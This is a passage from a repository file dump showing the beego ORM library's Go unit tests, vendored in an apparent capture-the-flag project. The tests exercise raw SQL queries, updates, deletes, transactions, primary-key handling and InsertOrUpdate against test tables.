ErrStmtClosed))\n}\n\nfunc TestRawExec(t *testing.T) {\n\tQ := dDbBaser.TableQuote()\n\n\tquery := fmt.Sprintf(\"UPDATE %suser%s SET %suser_name%s = ? WHERE %suser_name%s = ?\", Q, Q, Q, Q, Q, Q)\n\tres, err := dORM.Raw(query, \"testing\", \"slene\").Exec()\n\tthrowFail(t, err)\n\tnum, err := res.RowsAffected()\n\tthrowFail(t, AssertIs(num, 1), err)\n\n\tres, err = dORM.Raw(query, \"slene\", \"testing\").Exec()\n\tthrowFail(t, err)\n\tnum, err = res.RowsAffected()\n\tthrowFail(t, AssertIs(num, 1), err)\n}\n\nfunc TestRawQueryRow(t *testing.T) {\n\tvar (\n\t\tBoolean  bool\n\t\tChar     string\n\t\tText     string\n\t\tTime     time.Time\n\t\tDate     time.Time\n\t\tDateTime time.Time\n\t\tByte     byte\n\t\tRune     rune\n\t\tInt      int\n\t\tInt8     int\n\t\tInt16    int16\n\t\tInt32    int32\n\t\tInt64    int64\n\t\tUint     uint\n\t\tUint8    uint8\n\t\tUint16   uint16\n\t\tUint32   uint32\n\t\tUint64   uint64\n\t\tFloat32  float32\n\t\tFloat64  float64\n\t\tDecimal  float64\n\t)\n\n\tdataValues := make(map[string]interface{}, len(DataValues))\n\n\tfor k, v := range DataValues {\n\t\tdataValues[strings.ToLower(k)] = v\n\t}\n\n\tQ := dDbBaser.TableQuote()\n\n\tcols := []string{\n\t\t\"id\", \"boolean\", \"char\", \"text\", \"time\", \"date\", \"datetime\", \"byte\", \"rune\", \"int\", \"int8\", \"int16\", \"int32\",\n\t\t\"int64\", \"uint\", \"uint8\", \"uint16\", \"uint32\", \"uint64\", \"float32\", \"float64\", \"decimal\",\n\t}\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tquery := fmt.Sprintf(\"SELECT %s%s%s FROM data WHERE id = ?\", Q, strings.Join(cols, sep), Q)\n\tvar id int\n\tvalues := []interface{}{\n\t\t&id, &Boolean, &Char, &Text, &Time, &Date, &DateTime, &Byte, &Rune, &Int, &Int8, &Int16, &Int32,\n\t\t&Int64, &Uint, &Uint8, &Uint16, &Uint32, &Uint64, &Float32, &Float64, &Decimal,\n\t}\n\terr := dORM.Raw(query, 1).QueryRow(values...)\n\tthrowFailNow(t, err)\n\tfor i, col := range cols {\n\t\tvu := values[i]\n\t\tv := reflect.ValueOf(vu).Elem().Interface()\n\t\tswitch col {\n\t\tcase \"id\":\n\t\t\tthrowFail(t, AssertIs(id, 1))\n\t\tcase \"time\":\n\t\t\tv = v.(time.Time).In(DefaultTimeLoc)\n\t\t\tvalue := dataValues[col].(time.Time).In(DefaultTimeLoc)\n\t\t\tthrowFail(t, AssertIs(v, value, testTime))\n\t\tcase \"date\":\n\t\t\tv = v.(time.Time).In(DefaultTimeLoc)\n\t\t\tvalue := dataValues[col].(time.Time).In(DefaultTimeLoc)\n\t\t\tthrowFail(t, AssertIs(v, value, testDate))\n\t\tcase \"datetime\":\n\t\t\tv = v.(time.Time).In(DefaultTimeLoc)\n\t\t\tvalue := dataValues[col].(time.Time).In(DefaultTimeLoc)\n\t\t\tthrowFail(t, AssertIs(v, value, testDateTime))\n\t\tdefault:\n\t\t\tthrowFail(t, AssertIs(v, dataValues[col]))\n\t\t}\n\t}\n\n\tvar (\n\t\tuid    int\n\t\tstatus *int\n\t\tpid    *int\n\t)\n\n\tcols = []string{\n\t\t\"id\", \"Status\", \"profile_id\",\n\t}\n\tquery = fmt.Sprintf(\"SELECT %s%s%s FROM %suser%s WHERE id = ?\", Q, strings.Join(cols, sep), Q, Q, Q)\n\terr = dORM.Raw(query, 4).QueryRow(&uid, &status, &pid)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(uid, 4))\n\tthrowFail(t, AssertIs(*status, 3))\n\tthrowFail(t, AssertIs(pid, nil))\n}\n\n// user_profile table\ntype userProfile struct {\n\tUser\n\tAge   int\n\tMoney float64\n}\n\nfunc TestQueryRows(t *testing.T) {\n\tQ := dDbBaser.TableQuote()\n\n\tvar datas []*Data\n\n\tquery := fmt.Sprintf(\"SELECT * FROM %sdata%s\", Q, Q)\n\tnum, err := dORM.Raw(query).QueryRows(&datas)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(len(datas), 1))\n\n\tind := reflect.Indirect(reflect.ValueOf(datas[0]))\n\n\tfor name, value := range DataValues {\n\t\te := ind.FieldByName(name)\n\t\tvu := e.Interface()\n\t\tswitch name {\n\t\tcase \"Time\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\tcase \"Date\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\tcase \"DateTime\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\t}\n\t\tthrowFail(t, AssertIs(vu == value, true), value, vu)\n\t}\n\n\tvar datas2 []Data\n\n\tquery = fmt.Sprintf(\"SELECT * FROM %sdata%s\", Q, Q)\n\tnum, err = dORM.Raw(query).QueryRows(&datas2)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(len(datas2), 1))\n\n\tind = reflect.Indirect(reflect.ValueOf(datas2[0]))\n\n\tfor name, value := range DataValues {\n\t\te := ind.FieldByName(name)\n\t\tvu := e.Interface()\n\t\tswitch name {\n\t\tcase \"Time\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testTime)\n\t\tcase \"Date\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDate)\n\t\tcase \"DateTime\":\n\t\t\tvu = vu.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\t\tvalue = value.(time.Time).In(DefaultTimeLoc).Format(testDateTime)\n\t\t}\n\t\tthrowFail(t, AssertIs(vu == value, true), value, vu)\n\t}\n\n\tvar ids []int\n\tvar usernames []string\n\tquery = fmt.Sprintf(\"SELECT %sid%s, %suser_name%s FROM %suser%s ORDER BY %sid%s ASC\", Q, Q, Q, Q, Q, Q, Q, Q)\n\tnum, err = dORM.Raw(query).QueryRows(&ids, &usernames)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\tthrowFailNow(t, AssertIs(len(ids), 3))\n\tthrowFailNow(t, AssertIs(ids[0], 2))\n\tthrowFailNow(t, AssertIs(usernames[0], \"slene\"))\n\tthrowFailNow(t, AssertIs(ids[1], 3))\n\tthrowFailNow(t, AssertIs(usernames[1], \"astaxie\"))\n\tthrowFailNow(t, AssertIs(ids[2], 4))\n\tthrowFailNow(t, AssertIs(usernames[2], \"nobody\"))\n\n\t//test query rows by nested struct\n\tvar l []userProfile\n\tquery = fmt.Sprintf(\"SELECT * FROM %suser_profile%s LEFT JOIN %suser%s ON %suser_profile%s.%sid%s = %suser%s.%sid%s\", Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q)\n\tnum, err = dORM.Raw(query).QueryRows(&l)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(l), 2))\n\tthrowFailNow(t, AssertIs(l[0].UserName, \"slene\"))\n\tthrowFailNow(t, AssertIs(l[0].Age, 28))\n\tthrowFailNow(t, AssertIs(l[1].UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(l[1].Age, 30))\n\n}\n\nfunc TestRawValues(t *testing.T) {\n\tQ := dDbBaser.TableQuote()\n\n\tvar maps []Params\n\tquery := fmt.Sprintf(\"SELECT %suser_name%s FROM %suser%s WHERE %sStatus%s = ?\", Q, Q, Q, Q, Q, Q)\n\tnum, err := dORM.Raw(query, 1).Values(&maps)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tif num == 1 {\n\t\tthrowFail(t, AssertIs(maps[0][\"user_name\"], \"slene\"))\n\t}\n\n\tvar lists []ParamsList\n\tnum, err = dORM.Raw(query, 1).ValuesList(&lists)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tif num == 1 {\n\t\tthrowFail(t, AssertIs(lists[0][0], \"slene\"))\n\t}\n\n\tquery = fmt.Sprintf(\"SELECT %sprofile_id%s FROM %suser%s ORDER BY %sid%s ASC\", Q, Q, Q, Q, Q, Q)\n\tvar list ParamsList\n\tnum, err = dORM.Raw(query).ValuesFlat(&list)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(list[0], \"2\"))\n\t\tthrowFail(t, AssertIs(list[1], \"3\"))\n\t\tthrowFail(t, AssertIs(list[2], nil))\n\t}\n}\n\nfunc TestRawPrepare(t *testing.T) {\n\tswitch {\n\tcase IsMysql || IsSqlite:\n\n\t\tpre, err := dORM.Raw(\"INSERT INTO tag (name) VALUES (?)\").Prepare()\n\t\tthrowFail(t, err)\n\t\tif pre != nil {\n\t\t\tr, err := pre.Exec(\"name1\")\n\t\t\tthrowFail(t, err)\n\n\t\t\ttid, err := r.LastInsertId()\n\t\t\tthrowFail(t, err)\n\t\t\tthrowFail(t, AssertIs(tid > 0, true))\n\n\t\t\tr, err = pre.Exec(\"name2\")\n\t\t\tthrowFail(t, err)\n\n\t\t\tid, err := r.LastInsertId()\n\t\t\tthrowFail(t, err)\n\t\t\tthrowFail(t, AssertIs(id, tid+1))\n\n\t\t\tr, err = pre.Exec(\"name3\")\n\t\t\tthrowFail(t, err)\n\n\t\t\tid, err = r.LastInsertId()\n\t\t\tthrowFail(t, err)\n\t\t\tthrowFail(t, AssertIs(id, tid+2))\n\n\t\t\terr = pre.Close()\n\t\t\tthrowFail(t, err)\n\n\t\t\tres, err := dORM.Raw(\"DELETE FROM tag WHERE name IN (?, ?, ?)\", []string{\"name1\", \"name2\", \"name3\"}).Exec()\n\t\t\tthrowFail(t, err)\n\n\t\t\tnum, err := res.RowsAffected()\n\t\t\tthrowFail(t, err)\n\t\t\tthrowFail(t, AssertIs(num, 3))\n\t\t}\n\n\tcase IsPostgres:\n\n\t\tpre, err := dORM.Raw(`INSERT INTO \"tag\" (\"name\") VALUES (?) RETURNING \"id\"`).Prepare()\n\t\tthrowFail(t, err)\n\t\tif pre != nil {\n\t\t\t_, err := pre.Exec(\"name1\")\n\t\t\tthrowFail(t, err)\n\n\t\t\t_, err = pre.Exec(\"name2\")\n\t\t\tthrowFail(t, err)\n\n\t\t\t_, err = pre.Exec(\"name3\")\n\t\t\tthrowFail(t, err)\n\n\t\t\terr = pre.Close()\n\t\t\tthrowFail(t, err)\n\n\t\t\tres, err := dORM.Raw(`DELETE FROM \"tag\" WHERE \"name\" IN (?, ?, ?)`, []string{\"name1\", \"name2\", \"name3\"}).Exec()\n\t\t\tthrowFail(t, err)\n\n\t\t\tif err == nil {\n\t\t\t\tnum, err := res.RowsAffected()\n\t\t\t\tthrowFail(t, err)\n\t\t\t\tthrowFail(t, AssertIs(num, 3))\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestUpdate(t *testing.T) {\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.Filter(\"user_name\", \"slene\").Filter(\"is_staff\", false).Update(Params{\n\t\t\"is_staff\":  true,\n\t\t\"is_active\": true,\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\t// with join\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Filter(\"profile__age\", 28).Filter(\"is_staff\", true).Update(Params{\n\t\t\"is_staff\": false,\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Update(Params{\n\t\t\"Nums\": ColValue(ColAdd, 100),\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Update(Params{\n\t\t\"Nums\": ColValue(ColMinus, 50),\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Update(Params{\n\t\t\"Nums\": ColValue(ColMultiply, 3),\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Update(Params{\n\t\t\"Nums\": ColValue(ColExcept, 5),\n\t})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tuser := User{UserName: \"slene\"}\n\terr = dORM.Read(&user, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(user.Nums, 30))\n}\n\nfunc TestDelete(t *testing.T) {\n\tqs := dORM.QueryTable(\"user_profile\")\n\tnum, err := qs.Filter(\"user__user_name\", \"slene\").Delete()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err = qs.Filter(\"user_name\", \"slene\").Filter(\"profile__isnull\", true).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tqs = dORM.QueryTable(\"comment\")\n\tnum, err = qs.Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 6))\n\n\tqs = dORM.QueryTable(\"post\")\n\tnum, err = qs.Filter(\"Id\", 3).Delete()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tqs = dORM.QueryTable(\"comment\")\n\tnum, err = qs.Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 4))\n\n\tqs = dORM.QueryTable(\"comment\")\n\tnum, err = qs.Filter(\"Post__User\", 3).Delete()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\n\tqs = dORM.QueryTable(\"comment\")\n\tnum, err = qs.Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestTransaction(t *testing.T) {\n\t// this test worked when database support transaction\n\n\to := NewOrm()\n\terr := o.Begin()\n\tthrowFail(t, err)\n\n\tvar names = []string{\"1\", \"2\", \"3\"}\n\n\tvar tag Tag\n\ttag.Name = names[0]\n\tid, err := o.Insert(&tag)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id > 0, true))\n\n\tnum, err := o.QueryTable(\"tag\").Filter(\"name\", \"golang\").Update(Params{\"name\": names[1]})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tswitch {\n\tcase IsMysql || IsSqlite:\n\t\tres, err := o.Raw(\"INSERT INTO tag (name) VALUES (?)\", names[2]).Exec()\n\t\tthrowFail(t, err)\n\t\tif err == nil {\n\t\t\tid, err = res.LastInsertId()\n\t\t\tthrowFail(t, err)\n\t\t\tthrowFail(t, AssertIs(id > 0, true))\n\t\t}\n\t}\n\n\terr = o.Rollback()\n\tthrowFail(t, err)\n\n\tnum, err = o.QueryTable(\"tag\").Filter(\"name__in\", names).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 0))\n\n\terr = o.Begin()\n\tthrowFail(t, err)\n\n\ttag.Name = \"commit\"\n\tid, err = o.Insert(&tag)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id > 0, true))\n\n\to.Commit()\n\tthrowFail(t, err)\n\n\tnum, err = o.QueryTable(\"tag\").Filter(\"name\", \"commit\").Delete()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n}\n\nfunc TestReadOrCreate(t *testing.T) {\n\tu := &User{\n\t\tUserName: \"Kyle\",\n\t\tEmail:    \"kylemcc@gmail.com\",\n\t\tPassword: \"other_pass\",\n\t\tStatus:   7,\n\t\tIsStaff:  false,\n\t\tIsActive: true,\n\t}\n\n\tcreated, pk, err := dORM.ReadOrCreate(u, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, true))\n\tthrowFail(t, AssertIs(u.ID, pk))\n\tthrowFail(t, AssertIs(u.UserName, \"Kyle\"))\n\tthrowFail(t, AssertIs(u.Email, \"kylemcc@gmail.com\"))\n\tthrowFail(t, AssertIs(u.Password, \"other_pass\"))\n\tthrowFail(t, AssertIs(u.Status, 7))\n\tthrowFail(t, AssertIs(u.IsStaff, false))\n\tthrowFail(t, AssertIs(u.IsActive, true))\n\tthrowFail(t, AssertIs(u.Created.In(DefaultTimeLoc), u.Created.In(DefaultTimeLoc), testDate))\n\tthrowFail(t, AssertIs(u.Updated.In(DefaultTimeLoc), u.Updated.In(DefaultTimeLoc), testDateTime))\n\n\tnu := &User{UserName: u.UserName, Email: \"someotheremail@gmail.com\"}\n\tcreated, pk, err = dORM.ReadOrCreate(nu, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, false))\n\tthrowFail(t, AssertIs(nu.ID, u.ID))\n\tthrowFail(t, AssertIs(pk, u.ID))\n\tthrowFail(t, AssertIs(nu.UserName, u.UserName))\n\tthrowFail(t, AssertIs(nu.Email, u.Email)) // should contain the value in the table, not the one specified above\n\tthrowFail(t, AssertIs(nu.Password, u.Password))\n\tthrowFail(t, AssertIs(nu.Status, u.Status))\n\tthrowFail(t, AssertIs(nu.IsStaff, u.IsStaff))\n\tthrowFail(t, AssertIs(nu.IsActive, u.IsActive))\n\n\tdORM.Delete(u)\n}\n\nfunc TestInLine(t *testing.T) {\n\tname := \"inline\"\n\temail := \"hello@go.com\"\n\tinline := NewInLine()\n\tinline.Name = name\n\tinline.Email = email\n\n\tid, err := dORM.Insert(inline)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 1))\n\n\til := NewInLine()\n\til.ID = 1\n\terr = dORM.Read(il)\n\tthrowFail(t, err)\n\n\tthrowFail(t, AssertIs(il.Name, name))\n\tthrowFail(t, AssertIs(il.Email, email))\n\tthrowFail(t, AssertIs(il.Created.In(DefaultTimeLoc), inline.Created.In(DefaultTimeLoc), testDate))\n\tthrowFail(t, AssertIs(il.Updated.In(DefaultTimeLoc), inline.Updated.In(DefaultTimeLoc), testDateTime))\n}\n\nfunc TestInLineOneToOne(t *testing.T) {\n\tname := \"121\"\n\temail := \"121@go.com\"\n\tinline := NewInLine()\n\tinline.Name = name\n\tinline.Email = email\n\n\tid, err := dORM.Insert(inline)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(id, 2))\n\n\tnote := \"one2one\"\n\til121 := NewInLineOneToOne()\n\til121.Note = note\n\til121.InLine = inline\n\t_, err = dORM.Insert(il121)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(il121.ID, 1))\n\n\til := NewInLineOneToOne()\n\terr = dORM.QueryTable(il).Filter(\"Id\", 1).RelatedSel().One(il)\n\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(il.Note, note))\n\tthrowFail(t, AssertIs(il.InLine.ID, id))\n\tthrowFail(t, AssertIs(il.InLine.Name, name))\n\tthrowFail(t, AssertIs(il.InLine.Email, email))\n\n\trinline := NewInLine()\n\terr = dORM.QueryTable(rinline).Filter(\"InLineOneToOne__Id\", 1).One(rinline)\n\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(rinline.ID, id))\n\tthrowFail(t, AssertIs(rinline.Name, name))\n\tthrowFail(t, AssertIs(rinline.Email, email))\n}\n\nfunc TestIntegerPk(t *testing.T) {\n\tits := []IntegerPk{\n\t\t{ID: math.MinInt64, Value: \"-\"},\n\t\t{ID: 0, Value: \"0\"},\n\t\t{ID: math.MaxInt64, Value: \"+\"},\n\t}\n\n\tnum, err := dORM.InsertMulti(len(its), its)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, len(its)))\n\n\tfor _, intPk := range its {\n\t\tout := IntegerPk{ID: intPk.ID}\n\t\terr = dORM.Read(&out)\n\t\tthrowFail(t, err)\n\t\tthrowFail(t, AssertIs(out.Value, intPk.Value))\n\t}\n\n\tnum, err = dORM.InsertMulti(1, []*IntegerPk{{\n\t\tID: 1, Value: \"ok\",\n\t}})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestInsertAuto(t *testing.T) {\n\tu := &User{\n\t\tUserName: \"autoPre\",\n\t\tEmail:    \"autoPre@gmail.com\",\n\t}\n\n\tid, err := dORM.Insert(u)\n\tthrowFail(t, err)\n\n\tid += 100\n\tsu := &User{\n\t\tID:       int(id),\n\t\tUserName: \"auto\",\n\t\tEmail:    \"auto@gmail.com\",\n\t}\n\n\tnid, err := dORM.Insert(su)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(nid, id))\n\n\tusers := []User{\n\t\t{ID: int(id + 100), UserName: \"auto_100\"},\n\t\t{ID: int(id + 110), UserName: \"auto_110\"},\n\t\t{ID: int(id + 120), UserName: \"auto_120\"},\n\t}\n\tnum, err := dORM.InsertMulti(100, users)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\n\tu = &User{\n\t\tUserName: \"auto_121\",\n\t}\n\n\tnid, err = dORM.Insert(u)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(nid, id+120+1))\n}\n\nfunc TestUintPk(t *testing.T) {\n\tname := \"go\"\n\tu := &UintPk{\n\t\tID:   8,\n\t\tName: name,\n\t}\n\n\tcreated, _, err := dORM.ReadOrCreate(u, \"ID\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, true))\n\tthrowFail(t, AssertIs(u.Name, name))\n\n\tnu := &UintPk{ID: 8}\n\tcreated, pk, err := dORM.ReadOrCreate(nu, \"ID\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, false))\n\tthrowFail(t, AssertIs(nu.ID, u.ID))\n\tthrowFail(t, AssertIs(pk, u.ID))\n\tthrowFail(t, AssertIs(nu.Name, name))\n\n\tdORM.Delete(u)\n}\n\nfunc TestPtrPk(t *testing.T) {\n\tparent := &IntegerPk{ID: 10, Value: \"10\"}\n\n\tid, _ := dORM.Insert(parent)\n\tif !IsMysql {\n\t\t// MySql does not support last_insert_id in this case: see #2382\n\t\tthrowFail(t, AssertIs(id, 10))\n\t}\n\n\tptr := PtrPk{ID: parent, Positive: true}\n\tnum, err := dORM.InsertMulti(2, []PtrPk{ptr})\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tthrowFail(t, AssertIs(ptr.ID, parent))\n\n\tnptr := &PtrPk{ID: parent}\n\tcreated, pk, err := dORM.ReadOrCreate(nptr, \"ID\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, false))\n\tthrowFail(t, AssertIs(pk, 10))\n\tthrowFail(t, AssertIs(nptr.ID, parent))\n\tthrowFail(t, AssertIs(nptr.Positive, true))\n\n\tnptr = &PtrPk{Positive: true}\n\tcreated, pk, err = dORM.ReadOrCreate(nptr, \"Positive\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(created, false))\n\tthrowFail(t, AssertIs(pk, 10))\n\tthrowFail(t, AssertIs(nptr.ID, parent))\n\n\tnptr.Positive = false\n\tnum, err = dORM.Update(nptr)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tthrowFail(t, AssertIs(nptr.ID, parent))\n\tthrowFail(t, AssertIs(nptr.Positive, false))\n\n\tnum, err = dORM.Delete(nptr)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestSnake(t *testing.T) {\n\tcases := map[string]string{\n\t\t\"i\":           \"i\",\n\t\t\"I\":           \"i\",\n\t\t\"iD\":          \"i_d\",\n\t\t\"ID\":          \"i_d\",\n\t\t\"NO\":          \"n_o\",\n\t\t\"NOO\":         \"n_o_o\",\n\t\t\"NOOooOOoo\":   \"n_o_ooo_o_ooo\",\n\t\t\"OrderNO\":     \"order_n_o\",\n\t\t\"tagName\":     \"tag_name\",\n\t\t\"tag_Name\":    \"tag__name\",\n\t\t\"tag_name\":    \"tag_name\",\n\t\t\"_tag_name\":   \"_tag_name\",\n\t\t\"tag_666name\": \"tag_666name\",\n\t\t\"tag_666Name\": \"tag_666_name\",\n\t}\n\tfor name, want := range cases {\n\t\tgot := snakeString(name)\n\t\tthrowFail(t, AssertIs(got, want))\n\t}\n}\n\nfunc TestIgnoreCaseTag(t *testing.T) {\n\ttype testTagModel struct {\n\t\tID     int    `orm:\"pk\"`\n\t\tNOO    string `orm:\"column(n)\"`\n\t\tName01 string `orm:\"NULL\"`\n\t\tName02 string `orm:\"COLUMN(Name)\"`\n\t\tName03 string `orm:\"Column(name)\"`\n\t}\n\tmodelCache.clean()\n\tRegisterModel(&testTagModel{})\n\tinfo, ok := modelCache.get(\"test_tag_model\")\n\tthrowFail(t, AssertIs(ok, true))\n\tthrowFail(t, AssertNot(info, nil))\n\tif t == nil {\n\t\treturn\n\t}\n\tthrowFail(t, AssertIs(info.fields.GetByName(\"NOO\").column, \"n\"))\n\tthrowFail(t, AssertIs(info.fields.GetByName(\"Name01\").null, true))\n\tthrowFail(t, AssertIs(info.fields.GetByName(\"Name02\").column, \"Name\"))\n\tthrowFail(t, AssertIs(info.fields.GetByName(\"Name03\").column, \"name\"))\n}\nfunc TestInsertOrUpdate(t *testing.T) {\n\tRegisterModel(new(User))\n\tuser := User{UserName: \"unique_username133\", Status: 1, Password: \"o\"}\n\tuser1 := User{UserName: \"unique_username133\", Status: 2, Password: \"o\"}\n\tuser2 := User{UserName: \"unique_username133\", Status: 3, Password: \"oo\"}\n\tdORM.Insert(&user)\n\ttest := User{UserName: \"unique_username133\"}\n\tfmt.Println(dORM.Driver().Name())\n\tif dORM.Driver().Name() == \"sqlite3\" {\n\t\tfmt.Println(\"sqlite3 is nonsupport\")\n\t\treturn\n\t}\n\t//test1\n\t_, err := dORM.InsertOrUpdate(&user1, \"user_name\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs(user1.Status, test.Status))\n\t}\n\t//test2\n\t_, err = dORM.InsertOrUpdate(&user2, \"user_name\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs(user2.Status, test.Status))\n\t\tthrowFailNow(t, AssertIs(user2.Password, strings.TrimSpace(test.Password)))\n\t}\n\t//test3 +\n\t_, err = dORM.InsertOrUpdate(&user2, \"user_name\", \"status=status+1\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs(user2.Status+1, test.Status))\n\t}\n\t//test4 -\n\t_, err = dORM.InsertOrUpdate(&user2, \"user_name\", \"status=status-1\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs((user2.Status+1)-1, test.Status))\n\t}\n\t//test5 *\n\t_, err = dORM.InsertOrUpdate(&user2, \"user_name\", \"status=status*3\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs(((user2.Status+1)-1)*3, test.Status))\n\t}\n\t//test6 /\n\t_, err = dORM.InsertOrUpdate(&user2, \"user_name\", \"Status=Status/3\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif err.Error() == \"postgres version must 9.5 or higher\" || err.Error() == \"`sqlite3` nonsupport InsertOrUpdate in beego\" {\n\t\t} else {\n\t\t\tthrowFailNow(t, err)\n\t\t}\n\t} else {\n\t\tdORM.Read(&test, \"user_name\")\n\t\tthrowFailNow(t, AssertIs((((user2.Status+1)-1)*3)/3, test.Status))\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/qb.go",
